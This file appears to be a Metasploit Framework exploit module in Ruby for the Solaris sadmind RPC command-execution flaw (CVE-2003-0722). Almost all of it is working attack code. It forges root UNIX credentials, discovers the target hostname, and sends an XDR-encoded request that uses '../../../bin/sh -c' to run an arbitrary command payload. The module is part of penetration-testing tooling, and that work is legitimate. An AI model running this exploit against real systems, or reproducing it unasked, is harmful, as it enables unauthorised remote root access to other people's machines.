145 lines
3.7 KiB
Ruby
145 lines
3.7 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::SunRPC
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Solaris sadmind Command Execution',
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'Description' => %q{
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This exploit targets a weakness in the default security
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settings of the sadmind RPC application. This server is
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installed and enabled by default on most versions of the
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Solaris operating system.
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Vulnerable systems include solaris 2.7, 8, and 9
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},
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'Author' => [ 'vlad902 <vlad902@gmail.com>', 'hdm', 'cazz' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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['CVE', '2003-0722'],
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['OSVDB', '4585'],
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['BID', '8615'],
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['URL', 'http://lists.insecure.org/lists/vulnwatch/2003/Jul-Sep/0115.html'],
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],
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'Privileged' => true,
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'Platform' => ['unix', 'solaris'],
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'Arch' => ARCH_CMD,
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'Payload' =>
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{
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'Space' => 2000,
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'BadChars' => "\x00",
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'DisableNops' => true,
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'Compat' =>
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{
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'PayloadType' => 'cmd',
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'RequiredCmd' => 'generic perl telnet',
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}
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},
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'Targets' => [ ['Automatic', { }], ],
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'DisclosureDate' => 'Sep 13 2003',
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'DefaultTarget' => 0
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))
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register_options(
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[
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OptString.new('HOSTNAME', [false, 'Remote hostname', nil]),
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OptInt.new('GID', [false, 'GID to emulate', 0]),
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OptInt.new('UID', [false, 'UID to emulate', 0])
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], self.class
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)
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end
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def exploit
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sunrpc_create('udp', 100232, 10)
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sunrpc_authunix('localhost', datastore['UID'], datastore['GID'], [])
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if !datastore['HOSTNAME']
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print_status('attempting to determine hostname')
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response = sadmind_request(rand_text_alpha(rand(10) + 1), "true")
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if !response
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print_error('no response')
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return
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end
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match = /Security exception on host (.*)\. USER/.match(response)
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if match
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hostname = match.captures[0]
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print_status("found hostname: #{hostname}")
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else
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print_error('unable to determine hostname')
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return
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end
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else
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hostname = datastore['HOSTNAME']
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end
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response = sadmind_request(hostname, payload.encoded)
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sunrpc_destroy
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if /Security exception on host/.match(response)
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print_error('exploit failed')
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return
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else
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print_status('exploit did not give us an error, this is good...')
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sleep(1)
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handler
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end
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end
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def sadmind_request(host, command)
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header =
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XDR.encode(0) * 7 +
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XDR.encode(6, 0, 0, 0, 4, 0, 4, 0x7f000001, 100232, 10, \
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4, 0x7f000001, 100232, 10, 17, 30, 0, 0, 0, 0, \
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host, 'system', '../../../bin/sh')
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body =
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do_int('ADM_FW_VERSION', 1) +
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do_string('ADM_LANG', 'C') +
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do_string('ADM_REQUESTID', '00009:000000000:0') +
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do_string('ADM_CLASS', 'system') +
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do_string('ADM_CLASS_VERS', '2.1') +
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do_string('ADM_METHOD', '../../../bin/sh') +
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do_string('ADM_HOST', host) +
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do_string('ADM_CLIENT_HOST', host) +
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do_string('ADM_CLIENT_DOMAIN', '') +
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do_string('ADM_TIMEOUT_PARMS', 'TTL=0 PTO=20 PCNT=2 PDLY=30') +
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do_int('ADM_FENCE', 0) +
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do_string('X', '-c') +
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do_string('Y', command) +
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XDR.encode('netmgt_endofargs')
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request = header + XDR.encode(header.length + body.length - 326) + body
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ret = sunrpc_call(1, request)
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return XDR.decode!(ret, Integer, Integer, String)[2]
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end
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def do_string(str1, str2)
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XDR.encode(str1, 9, str2.length + 1, str2, 0, 0)
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end
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def do_int(str, int)
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XDR.encode(str, 3, 4, int, 0, 0)
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end
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end
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